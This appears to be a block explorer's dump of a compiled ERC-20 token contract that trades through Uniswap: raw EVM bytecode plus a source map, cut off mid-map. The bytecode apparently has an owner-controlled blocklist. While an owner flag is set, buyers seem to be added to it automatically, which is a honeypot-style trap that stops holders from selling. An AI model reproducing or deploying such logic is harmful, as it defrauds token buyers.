610af0565b6060600180546104cd90611654565b80601f01602080910402602001604051908101604052809291908181526020018280546104f990611654565b80156105465780601f1061051b57610100808354040283529160200191610546565b820191906000526020600020905b81548152906001019060200180831161052957829003601f168201915b5050505050905090565b600061055d338484610b13565b50600192915050565b6000610573848484610b74565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156105a457600080fd5b6105b18533858403610b13565b506001949350505050565b6105c547610e24565b565b600c546001600160a01b031633146105de57600080fd5b600e55565b600c546001600160a01b031633146105fa57600080fd5b60005b825181101561065f57816007600085848151811061061d5761061d6116c0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556106588161168f565b90506105fd565b505050565b6060600280546104cd90611654565b6000806106826002603c61161e565b600b5461068f904261163d565b61069991906115fc565b9050806106a857505060095490565b80600a546106b6919061161e565b6009546106c391906115e4565b91505090565b600c546001600160a01b031633146106e057600080fd5b6008805460ff1916911515919091179055565b600c546001600160a01b0316331461070a57600080fd5b60005b825181101561065f57816006600085848151811061072d5761072d6116c0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556107688161168f565b905061070d565b600061055d338484610b74565b600c546001600160a01b0316331461079357600080fd5b6005546001600160a01b0316156107a957600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f857600080fd5b505afa15801561080c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610830919061131b565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088c57600080fd5b505afa1580156108a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c4919061131b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090c57600080fd5b505af1158015610920573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610944919061131b565b60008054308083526003602090815260408085208490556004808352818620737a250d5630b4cf539739df2c5dacb4c659f2488d808852908452828720959095556001600160a01b03871686526007909252808520805460ff191660011790558454905163f305d71960e01b81529182019290925260248101919091526044810183905260648101929092523360848301524260a483015291925063f305d71990479060c4016060604051808303818588803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3c91906114f0565b5050600580546001600160a81b0319166001600160a01b0384161790555042600b556000546103e890610a719060019061161e565b610a7b91906115fc565b600a5550565b600c546001600160a01b03163314610a9857600080fd5b6005805460ff60a01b1916600160a01b1790556008805460ff19169055565b600c546001600160a01b03163314610ace57600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600c546001600160a01b03163314610b0757600080fd5b610b1081610e62565b50565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610bb657506001600160a01b03821660009081526006602052604090205460ff16155b610bbf57600080fd5b6005546001600160a01b038481169116148015610bf557506001600160a01b03821660009081526007602052604090205460ff16155b15610ceb576000610c086002603c61161e565b600b54610c15904261163d565b610c1f91906115fc565b90508015610c5d576000546009541015610c585780600a54610c41919061161e565b60096000828254610c5291906115e4565b90915550505b42600b555b600554600160a01b900460ff16610c7357600080fd5b60085460ff16610caf576009546001600160a01b038416600090815260036020526040902054610ca49084906115e4565b1115610caf57600080fd5b60085460ff1615610cde576001600160a01b0383166000908152600660205260409020805460ff191660011790555b610ce782610e83565b9150505b600854610100900460ff16158015610d0d57506005546001600160a01b031615155b8015610d2657506005546001600160a01b038381169116145b15610e1957610d358184610ecd565b306000908152600360205260409020549091508015610e175760006064610d5b600e5490565b6005546001600160a01b0316600090815260036020526040902054610d80919061161e565b610d8a91906115fc565b905080821115610dee576000818303905081925080600080828254610daf919061163d565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505b816000610dfc85600261161e565b905080821115610e0a578091505b610e1382610fb4565b5050505b505b61065f838383611170565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e5e573d6000803e3d6000fd5b5050565b6103e860005482610e73919061161e565b610e7d91906115fc565b60095550565b600080610e91600a846115fc565b9050610e9d818461163d565b30600090815260036020526040812080549295508392909190610ec19084906115e4565b90915550929392505050565b600080610edb600a856115fc565b90506000610ee885611227565b9050610ef481836115e4565b610efe908661163d565b9450610f0a81836115e4565b6001600160a01b03851660009081526003602052604081208054909190610f3290849061163d565b90915550503060009081526003602052604081208054849290610f569084906115e4565b9250508190555080600080828254610f6e919061163d565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350929392505050565b6008805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff857610ff86116c0565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561106557600080fd5b505afa158015611079573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109d919061131b565b816001815181106110b0576110b06116c0565b60200260200101906001600160a01b031690816001600160a01b0316815250506110ef30737a250d5630b4cf539739df2c5dacb4c659f2488d84610b13565b6040516318cbafe560e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d906318cbafe59061112f908590600090869030904290600401611573565b600060405180830381600087803b15801561114957600080fd5b505af115801561115d573d6000803e3d6000fd5b50506008805461ff001916905550505050565b6001600160a01b0383166000908152600360205260409020548181101561119657600080fd5b6001600160a01b038085166000908152600360205260408082208585039055918516815290812080548492906111cd9084906115e4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161121991815260200190565b60405180910390a350505050565b6005546001600160a01b03166000908152600360205260408120548161124e6064836115fc565b905080841161126a576112626014856115fc565b949350505050565b6000611277600a846115fc565b9050808511156112a157606461128e86602361161e565b61129891906115fc565b95945050505050565b60646112ad838361163d565b866112b8858261163d565b6112c390602361161e565b6112cd919061161e565b61128e91906115fc565b80356112e2816116ec565b919050565b803580151581146112e257600080fd5b60006020828403121561130957600080fd5b8135611314816116ec565b9392505050565b60006020828403121561132d57600080fd5b8151611314816116ec565b6000806040838503121561134b57600080fd5b8235611356816116ec565b91506020830135611366816116ec565b809150509250929050565b60008060006060848603121561138657600080fd5b8335611391816116ec565b925060208401356113a1816116ec565b929592945050506040919091013590565b600080604083850312156113c557600080fd5b82356113d0816116ec565b946020939093013593505050565b600080604083850312156113f157600080fd5b823567ffffffffffffffff8082111561140957600080fd5b818501915085601f83011261141d57600080fd5b8135602082821115611431576114316116d6565b8160051b604051601f19603f83011681018181108682111715611456576114566116d6565b604052838152828101945085830182870184018b101561147557600080fd5b600096505b8487101561149f5761148b816112d7565b86526001969096019594830194830161147a565b5096506114af90508782016112e7565b9450505050509250929050565b6000602082840312156114ce57600080fd5b611314826112e7565b6000602082840312156114e957600080fd5b5035919050565b60008060006060848603121561150557600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561154b5785810183015185820160400152820161152f565b8181111561155d576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115c35784516001600160a01b03168352938301939183019160010161159e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115f7576115f76116aa565b500190565b60008261161957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611638576116386116aa565b500290565b60008282101561164f5761164f6116aa565b500390565b600181811c9082168061166857607f821691505b6020821081141561168957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156116a3576116a36116aa565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610b1057600080fdfea26469706673582212205f1a2fd6235084ead77cba71e697f20707f801be52849b6f90f9b774dfd60b1a64736f6c63430008070033

Deployed Bytecode Sourcemap

164:1053:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1274:85:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2719:193;;;;;;;;;;-1:-1:-1;2719:193:0;;;;;:::i;:::-;;:::i;:::-;;;5182:14:4;;5175:22;5157:41;;5145:2;5130:18;2719:193:0;5017:187:4;522:25:2;;;;;;;;;;-1:-1:-1;522:25:2;;;;-1:-1:-1;;;522:25:2;;;;;;1557:102:0;;;;;;;;;;-1:-1:-1;1612:7:0;1639:12;1557:102;;;5957:25:4;;;5945:2;5930:18;1557:102:0;5811:177:4;3148:438:0;;;;;;;;;;-1:-1:-1;3148:438:0;;;;;:::i;:::-;;:::i;1464:85::-;;;;;;;;;;-1:-1:-1;1464:85:0;;1011:2;7120:36:4;;7108:2;7093:18;1464:85:0;6978:184:4;554:37:2;;;;;;;;;;-1:-1:-1;554:37:2;;;;;:::i;:::-;;;;;;;;;;;;;;;;7636:80;;;;;;;;;;;;;:::i;:::-;;487:28;;;;;;;;;;-1:-1:-1;487:28:2;;;;-1:-1:-1;;;;;487:28:2;;;;;;-1:-1:-1;;;;;4052:32:4;;;4034:51;;4022:2;4007:18;487:28:2;3888:203:4;682:185:3;;;;;;;;;;-1:-1:-1;682:185:3;;;;;:::i;:::-;;:::i;7140:238:2:-;;;;;;;;;;-1:-1:-1;7140:238:2;;;;;:::i;:::-;;:::i;1667:160:0:-;;;;;;;;;;-1:-1:-1;1667:160:0;;;;;:::i;:::-;-1:-1:-1;;;;;1801:18:0;1769:7;1801:18;;;:9;:18;;;;;;;1667:160;698:21:2;;;;;;;;;;;;;;;;1367:89:0;;;;;;;;;;;;;:::i;6031:302:2:-;;;;;;;;;;;;;:::i;975:28::-;;;;;;;;;;;;;;;;7534:94;;;;;;;;;;-1:-1:-1;7534:94:2;;;;;:::i;:::-;;:::i;6940:192::-;;;;;;;;;;-1:-1:-1;6940:192:2;;;;;:::i;:::-;;:::i;1835:199:0:-;;;;;;;;;;-1:-1:-1;1835:199:0;;;;;:::i;:::-;;:::i;903:35:2:-;;;;;;;;;;;;;;;;1418:844;;;;;;;;;;;;;:::i;2525:186:0:-;;;;;;;;;;-1:-1:-1;2525:186:0;;;;;:::i;:::-;-1:-1:-1;;;;;2676:18:0;;;2644:7;2676:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2525:186;7386:140:2;;;;;;;;;;;;;:::i;1114:100:3:-;;;;;;;;;;-1:-1:-1;1114:100:3;;;;;:::i;:::-;;:::i;5813:93:2:-;;;;;;;;;;-1:-1:-1;5813:93:2;;;;;:::i;:::-;;:::i;1274:85:0:-;1313:13;1346:5;1339:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1274:85;:::o;2719:193::-;2823:4;2845:37;2854:10;2866:7;2875:6;2845:8;:37::i;:::-;-1:-1:-1;2900:4:0;2719:193;;;;:::o;3148:438::-;3282:4;3299:36;3309:6;3317:9;3328:6;3299:9;:36::i;:::-;-1:-1:-1;;;;;3375:19:0;;3348:24;3375:19;;;:11;:19;;;;;;;;3395:10;3375:31;;;;;;;;3425:26;;;;3417:35;;;;;;3488:55;3497:6;3505:10;3536:6;3517:16;:25;3488:8;:55::i;:::-;-1:-1:-1;3574:4:0;;3148:438;-1:-1:-1;;;;3148:438:0:o;7636:80:2:-;7676:32;7686:21;7676:9;:32::i;:::-;7636:80::o;682:185:3:-;1092:6;;-1:-1:-1;;;;;1092:6:3;1083:10:2;1081:17:3;1067:28:2;;;;;;807:27:3::1;:52:::0;682:185::o;7140:238:2:-;1092:6:3;;-1:-1:-1;;;;;1092:6:3;1083:10:2;1081:17:3;1067:28:2;;;;;;7264:9:::1;7259:112;7283:8;:15;7279:1;:19;7259:112;;;7354:5;7320:18;:31;7339:8;7348:1;7339:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;7320:31:2::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;7320:31:2;:39;;-1:-1:-1;;7320:39:2::1;::::0;::::1;;::::0;;;::::1;::::0;;7300:3:::1;::::0;::::1;:::i;:::-;;;7259:112;;;;7140:238:::0;;:::o;1367:89:0:-;1408:13;1441:7;1434:14;;;;;:::i;6031:302:2:-;6075:7;;6170:39;775:1;6200:9;6170:39;:::i;:::-;6139:13;;6121:31;;:15;:31;:::i;:::-;6120:90;;;;:::i;:::-;6095:115;-1:-1:-1;6225:19:2;6221:38;;-1:-1:-1;;6253:6:2;;;6031:302::o;6221:38::-;6311:14;6288:20;;:37;;;;:::i;:::-;6279:6;;:46;;;;:::i;:::-;6272:53;;;6031:302;:::o;7534:94::-;1092:6:3;;-1:-1:-1;;;;;1092:6:3;1083:10:2;1081:17:3;1067:28:2;;;;;;7600:12:::1;:20:::0;;-1:-1:-1;;7600:20:2::1;::::0;::::1;;::::0;;;::::1;::::0;;7534:94::o;6940:192::-;1092:6:3;;-1:-1:-1;;;;;1092:6:3;1083:10:2;1081:17:3;1067:28:2;;;;;;7031:9:::1;7026:99;7050:8;:15;7046:1;:19;7026:99;;;7108:5;7087;:18;7093:8;7102:1;7093:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;7087:18:2::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;7087:18:2;:26;;-1:-1:-1;;7087:26:2::1;::::0;::::1;;::::0;;;::::1;::::0;;7067:3:::1;::::0;::::1;:::i;:::-;;;7026:99;;1835:199:0::0;1942:4;1964:40;1974:10;1986:9;1997:6;1964:9;:40::i;1418:844:2:-;1092:6:3;;-1:-1:-1;;;;;1092:6:3;1083:10:2;1081:17:3;1067:28:2;;;;;;1479:13:::1;::::0;-1:-1:-1;;;;;1479:13:2::1;:27:::0;1471:36:::1;;;::::0;::::1;;1518:12;437:42;-1:-1:-1::0;;;;;1551:24:2::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;1533:56:2::1;;1612:4;437:42;-1:-1:-1::0;;;;;1632:21:2::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1533:133;::::0;-1:-1:-1;;;;;;1533:133:2::1;::::0;;;;;;-1:-1:-1;;;;;4326:15:4;;;1533:133:2::1;::::0;::::1;4308:34:4::0;4378:15;;4358:18;;;4351:43;4243:18;;1533:133:2::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1704:12;::::0;;1695:4:::1;1677:24:::0;;;:9:::1;:24;::::0;;;;;;;:39;;;1727:11:::1;:26:::0;;;;;;437:42:::1;1727:53:::0;;;;;;;;;:68;;;;-1:-1:-1;;;;;1806:24:2;::::1;::::0;;:18:::1;:24:::0;;;;;;:31;;-1:-1:-1;;1806:31:2::1;1833:4;1806:31;::::0;;1953:12;;1848:215;;-1:-1:-1;;;1848:215:2;;;;::::1;4746:34:4::0;;;;4796:18;;;4789:34;;;;4839:18;;;4832:34;;;4882:18;;;4875:34;;;;2012:10:2::1;4925:19:4::0;;;4918:44;2037:15:2::1;4978:19:4::0;;;4971:35;1806:24:2;;-1:-1:-1;1848:32:2::1;::::0;1888:21:::1;::::0;4680:19:4;;1848:215:2::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;2076:13:2::1;:20:::0;;-1:-1:-1;;;;;;2107:21:2;-1:-1:-1;;;;;2076:20:2;::::1;2107:21:::0;;;-1:-1:-1;2157:15:2::1;2141:13;:31:::0;2076:13:::1;2207:12:::0;2250:4:::1;::::0;2207:39:::1;::::0;2076:20;;2207:39:::1;:::i;:::-;2206:48;;;;:::i;:::-;2183:20;:71:::0;-1:-1:-1;1418:844:2:o;7386:140::-;1092:6:3;;-1:-1:-1;;;;;1092:6:3;1083:10:2;1081:17:3;1067:28:2;;;;;;7467:13:::1;:20:::0;;-1:-1:-1;;;;7467:20:2::1;-1:-1:-1::0;;;7467:20:2::1;::::0;;7498:12:::1;:20:::0;;-1:-1:-1;;7498:20:2::1;::::0;;7386:140::o;1114:100:3:-;1092:6;;-1:-1:-1;;;;;1092:6:3;1083:10:2;1081:17:3;1067:28:2;;;;;;1189:6:3::1;:17:::0;;-1:-1:-1;;;;;;1189:17:3::1;-1:-1:-1::0;;;;;1189:17:3;;;::::1;::::0;;;::::1;::::0;;1114:100::o;5813:93:2:-;1092:6:3;;-1:-1:-1;;;;;1092:6:3;1083:10:2;1081:17:3;1067:28:2;;;;;;5879:19:::1;5890:7;5879:10;:19::i;:::-;5813:93:::0;:::o;2920:220:0:-;-1:-1:-1;;;;;3048:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;3100:32;;5957:25:4;;;3100:32:0;;5930:18:4;3100:32:0;;;;;;;2920:220;;;:::o;2270:2227:2:-;-1:-1:-1;;;;;2403:11:2;;;;;;:5;:11;;;;;;;;2402:12;:26;;;;-1:-1:-1;;;;;;2419:9:2;;;;;;:5;:9;;;;;;;;2418:10;2402:26;2394:35;;;;;;2470:13;;-1:-1:-1;;;;;2462:21:2;;;2470:13;;2462:21;:48;;;;-1:-1:-1;;;;;;2488:22:2;;;;;;:18;:22;;;;;;;;2487:23;2462:48;2458:680;;;2560:22;2639:39;775:1;2669:9;2639:39;:::i;:::-;2604:13;;2586:31;;:15;:31;:::i;:::-;2585:94;;;;:::i;:::-;2560:119;-1:-1:-1;2698:18:2;;2694:204;;2750:12;;2741:6;;:21;2737:95;;;2818:14;2795:20;;:37;;;;:::i;:::-;2785:6;;:47;;;;;;;:::i;:::-;;;;-1:-1:-1;;2737:95:2;2867:15;2851:13;:31;2694:204;2922:13;;-1:-1:-1;;;2922:13:2;;;;2914:22;;;;;;2956:12;;;;2951:60;;3004:6;;-1:-1:-1;;;;;2978:13:2;;;;;;:9;:13;;;;;;:22;;2994:6;;2978:22;:::i;:::-;:32;;2970:41;;;;;;3054:12;;;;3050:34;;;-1:-1:-1;;;;;3068:9:2;;;;;;:5;:9;;;;;:16;;-1:-1:-1;;3068:16:2;3080:4;3068:16;;;3050:34;3108:18;3119:6;3108:10;:18::i;:::-;3099:27;;2512:626;2458:680;3172:7;;;;;;;3171:8;:39;;;;-1:-1:-1;3183:13:2;;-1:-1:-1;;;;;3183:13:2;:27;;3171:39;:62;;;;-1:-1:-1;3220:13:2;;-1:-1:-1;;;;;3214:19:2;;;3220:13;;3214:19;3171:62;3167:1122;;;3259:25;3271:6;3279:4;3259:11;:25::i;:::-;3348:4;3299:28;1801:18:0;;;:9;:18;;;;;;3250:34:2;;-1:-1:-1;3373:24:2;;3369:909;;3418:26;3530:3;3496:30;639:27:3;;;499:175;3496:30:2;3458:13;;-1:-1:-1;;;;;3458:13:2;1769:7:0;1801:18;;;:9;:18;;;;;;3448:78:2;;;;:::i;:::-;3447:86;;;;:::i;:::-;3418:115;;3579:18;3556:20;:41;3552:429;;;3622:17;3734:18;3711:20;:41;3699:53;;3821:18;3798:41;;3878:9;3862:12;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;3915:46:2;;5957:25:4;;;3947:1:2;;3932:4;;3915:46;;5945:2:4;5930:18;3915:46:2;;;;;;;3599:382;3552:429;4071:20;4051:17;4133:10;4137:6;4133:1;:10;:::i;:::-;4110:33;;4178:12;4166:9;:24;4162:54;;;4204:12;4192:24;;4162:54;4235:27;4252:9;4235:16;:27::i;:::-;3399:879;;;3369:909;3235:1054;3167:1122;4406:33;4422:4;4428:2;4432:6;4406:15;:33::i;875:108:3:-;944:16;;936:39;;-1:-1:-1;;;;;944:16:3;;;;936:39;;;;;971:3;;944:16;936:39;944:16;936:39;971:3;944:16;936:39;;;;;;;;;;;;;;;;;;;;;875:108;:::o;5914:109:2:-;6011:4;5995:12;;5983:9;:24;;;;:::i;:::-;5982:33;;;;:::i;:::-;5973:6;:42;-1:-1:-1;5914:109:2:o;4505:207::-;4558:7;;4592:11;4601:2;4592:6;:11;:::i;:::-;4578:25;-1:-1:-1;4625:13:2;4578:25;4625:13;;:::i;:::-;4667:4;4649:24;;;;:9;:24;;;;;:31;;4625:13;;-1:-1:-1;4677:3:2;;4649:24;;;:31;;4677:3;;4649:31;:::i;:::-;;;;-1:-1:-1;4698:6:2;;4505:207;-1:-1:-1;;;4505:207:2:o;5285:520::-;5374:7;;5438:11;5447:2;5438:6;:11;:::i;:::-;5421:28;;5472:17;5492:24;5509:6;5492:16;:24::i;:::-;5472:44;-1:-1:-1;5553:18:2;5472:44;5553:6;:18;:::i;:::-;5543:28;;;;:::i;:::-;;-1:-1:-1;5604:18:2;5613:9;5604:6;:18;:::i;:::-;-1:-1:-1;;;;;5582:18:2;;;;;;:9;:18;;;;;:40;;:18;;;:40;;;;;:::i;:::-;;;;-1:-1:-1;;5659:4:2;5641:24;;;;:9;:24;;;;;:34;;5669:6;;5641:24;:34;;5669:6;;5641:34;:::i;:::-;;;;;;;;5702:9;5686:12;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;5727:46:2;;5957:25:4;;;5759:1:2;;5744:4;;5727:46;;5945:2:4;5930:18;5727:46:2;;;;;;;-1:-1:-1;5791:6:2;;5285:520;-1:-1:-1;;;5285:520:2:o;6341:591::-;1157:7;:14;;-1:-1:-1;;1157:14:2;;;;;6503:16:::1;::::0;;6517:1:::1;6503:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6503:16:2::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6503:16:2::1;6479:40;;6548:4;6530;6535:1;6530:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;6530:23:2::1;;;-1:-1:-1::0;;;;;6530:23:2::1;;;::::0;::::1;437:42;-1:-1:-1::0;;;;;6574:21:2::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6564:4;6569:1;6564:7;;;;;;;;:::i;:::-;;;;;;:33;-1:-1:-1::0;;;;;6564:33:2::1;;;-1:-1:-1::0;;;;;6564:33:2::1;;;::::0;::::1;6610:63;6627:4;437:42;6661:11;6610:8;:63::i;:::-;6712:212;::::0;-1:-1:-1;;;6712:212:2;;437:42:::1;::::0;6712:38:::1;::::0;:212:::1;::::0;6765:11;;6791:1:::1;::::0;6835:4;;6862::::1;::::0;6898:15:::1;::::0;6712:212:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;1194:7:2;:15;;-1:-1:-1;;1194:15:2;;;-1:-1:-1;;;;6341:591:2:o;2042:475:0:-;-1:-1:-1;;;;;2240:15:0;;2216:21;2240:15;;;:9;:15;;;;;;2274:23;;;;2266:32;;;;;;-1:-1:-1;;;;;2334:15:0;;;;;;;:9;:15;;;;;;2352:22;;;2334:40;;2396:13;;;;;;;;:23;;2368:6;;2334:15;2396:23;;2368:6;;2396:23;:::i;:::-;;;;;;;;2450:2;-1:-1:-1;;;;;2435:26:0;2444:4;-1:-1:-1;;;;;2435:26:0;;2454:6;2435:26;;;;5957:25:4;;5945:2;5930:18;;5811:177;2435:26:0;;;;;;;;2154:363;2042:475;;;:::o;4720:557:2:-;4865:13;;-1:-1:-1;;;;;4865:13:2;4785:7;4855:24;;;:9;:24;;;;;;4785:7;4905:11;4913:3;4855:24;4905:11;:::i;:::-;4890:26;;4968:4;4958:6;:14;4954:38;;4981:11;4990:2;4981:6;:11;:::i;:::-;4974:18;4720:557;-1:-1:-1;;;;4720:557:2:o;4954:38::-;5022:12;5037:10;5045:2;5037:5;:10;:::i;:::-;5022:25;;5102:4;5093:6;:13;5089:45;;;5131:3;5116:11;:6;5125:2;5116:11;:::i;:::-;5115:19;;;;:::i;:::-;5108:26;4720:557;-1:-1:-1;;;;;4720:557:2:o;5089:45::-;5266:3;5250:11;5257:4;5250;:11;:::i;:::-;5239:6;5217:13;5226:4;5239:6;5217:13;:::i;:::-;5216:20;;5234:2;5216:20;:::i;:::-;:29;;;;:::i;:::-;5215:47;;;;:::i;14:134:4:-;82:20;;111:31;82:20;111:31;:::i;:::-;14:134;;;:::o;153:160::-;218:20;;274:13;;267:21;257:32;;247:60;;303:1;300;293:12;318:247;377:6;430:2;418:9;409:7;405:23;401:32;398:52;;;446:1;443;436:12;398:52;485:9;472:23;504:31;529:5;504:31;:::i;:::-;554:5;318:247;-1:-1:-1;;;318:247:4:o;570:251::-;640:6;693:2;681:9;672:7;668:23;664:32;661:52;;;709:1;706;699:12;661:52;741:9;735:16;760:31;785:5;760:31;:::i;826:388::-;894:6;902;955:2;943:9;934:7;930:23;926:32;923:52;;;971:1;968;961:12;923:52;1010:9;997:23;1029:31;1054:5;1029:31;:::i;:::-;1079:5;-1:-1:-1;1136:2:4;1121:18;;1108:32;1149:33;1108:32;1149:33;:::i;:::-;1201:7;1191:17;;;826:388;;;;;:::o;1219:456::-;1296:6;1304;1312;1365:2;1353:9;1344:7;1340:23;1336:32;1333:52;;;1381:1;1378;1371:12;1333:52;1420:9;1407:23;1439:31;1464:5;1439:31;:::i;:::-;1489:5;-1:-1:-1;1546:2:4;1531:18;;1518:32;1559:33;1518:32;1559:33;:::i;:::-;1219:456;;1611:7;;-1:-1:-1;;;1665:2:4;1650:18;;;;1637:32;;1219:456::o;1680:315::-;1748:6;1756;1809:2;1797:9;1788:7;1784:23;1780:32;1777:52;;;1825:1;1822;1815:12;1777:52;1864:9;1851:23;1883:31;1908:5;1883:31;:::i;:::-;1933:5;1985:2;1970:18;;;;1957:32;;-1:-1:-1;;;1680:315:4:o;2000:1202::-;2090:6;2098;2151:2;2139:9;2130:7;2126:23;2122:32;2119:52;;;2167:1;2164;2157:12;2119:52;2207:9;2194:23;2236:18;2277:2;2269:6;2266:14;2263:34;;;2293:1;2290;2283:12;2263:34;2331:6;2320:9;2316:22;2306:32;;2376:7;2369:4;2365:2;2361:13;2357:27;2347:55;;2398:1;2395;2388:12;2347:55;2434:2;2421:16;2456:4;2479:2;2475;2472:10;2469:36;;;2485:18;;:::i;:::-;2531:2;2528:1;2524:10;2563:2;2557:9;2626:2;2622:7;2617:2;2613;2609:11;2605:25;2597:6;2593:38;2681:6;2669:10;2666:22;2661:2;2649:10;2646:18;2643:46;2640:72;;;2692:18;;:::i;:::-;2728:2;2721:22;2778:18;;;2812:15;;;;-1:-1:-1;2847:11:4;;;2877;;;2873:20;;2870:33;-1:-1:-1;2867:53:4;;;2916:1;2913;2906:12;2867:53;2938:1;2929:10;;2948:169;2962:2;2959:1;2956:9;2948:169;;;3019:23;3038:3;3019:23;:::i;:::-;3007:36;;2980:1;2973:9;;;;;3063:12;;;;3095;;2948:169;;;-1:-1:-1;3136:6:4;-1:-1:-1;3161:35:4;;-1:-1:-1;3177:18:4;;;3161:35;:::i;:::-;3151:45;;;;;;2000:1202;;;;;:::o;3207:180::-;3263:6;3316:2;3304:9;3295:7;3291:23;3287:32;3284:52;;;3332:1;3329;3322:12;3284:52;3355:26;3371:9;3355:26;:::i;3392:180::-;3451:6;3504:2;3492:9;3483:7;3479:23;3475:32;3472:52;;;3520:1;3517;3510:12;3472:52;-1:-1:-1;3543:23:4;;3392:180;-1:-1:-1;3392:180:4:o;3577:306::-;3665:6;3673;3681;3734:2;3722:9;3713:7;3709:23;3705:32;3702:52;;;3750:1;3747;3740:12;3702:52;3779:9;3773:16;3763:26;;3829:2;3818:9;3814:18;3808:25;3798:35;;3873:2;3862:9;3858:18;3852:25;3842:35;;3577:306;;;;;:::o;5209:597::-;5321:4;5350:2;5379;5368:9;5361:21;5411:6;5405:13;5454:6;5449:2;5438:9;5434:18;5427:34;5479:1;5489:140;5503:6;5500:1;5497:13;5489:140;;;5598:14;;;5594:23;;5588:30;5564:17;;;5583:2;5560:26;5553:66;5518:10;;5489:140;;;5647:6;5644:1;5641:13;5638:91;;;5717:1;5712:2;5703:6;5692:9;5688:22;5684:31;5677:42;5638:91;-1:-1:-1;5790:2:4;5769:15;-1:-1:-1;;5765:29:4;5750:45;;;;5797:2;5746:54;;5209:597;-1:-1:-1;;;5209:597:4:o;5993:980::-;6255:4;6303:3;6292:9;6288:19;6334:6;6323:9;6316:25;6360:2;6398:6;6393:2;6382:9;6378:18;6371:34;6441:3;6436:2;6425:9;6421:18;6414:31;6465:6;6500;6494:13;6531:6;6523;6516:22;6569:3;6558:9;6554:19;6547:26;;6608:2;6600:6;6596:15;6582:29;;6629:1;6639:195;6653:6;6650:1;6647:13;6639:195;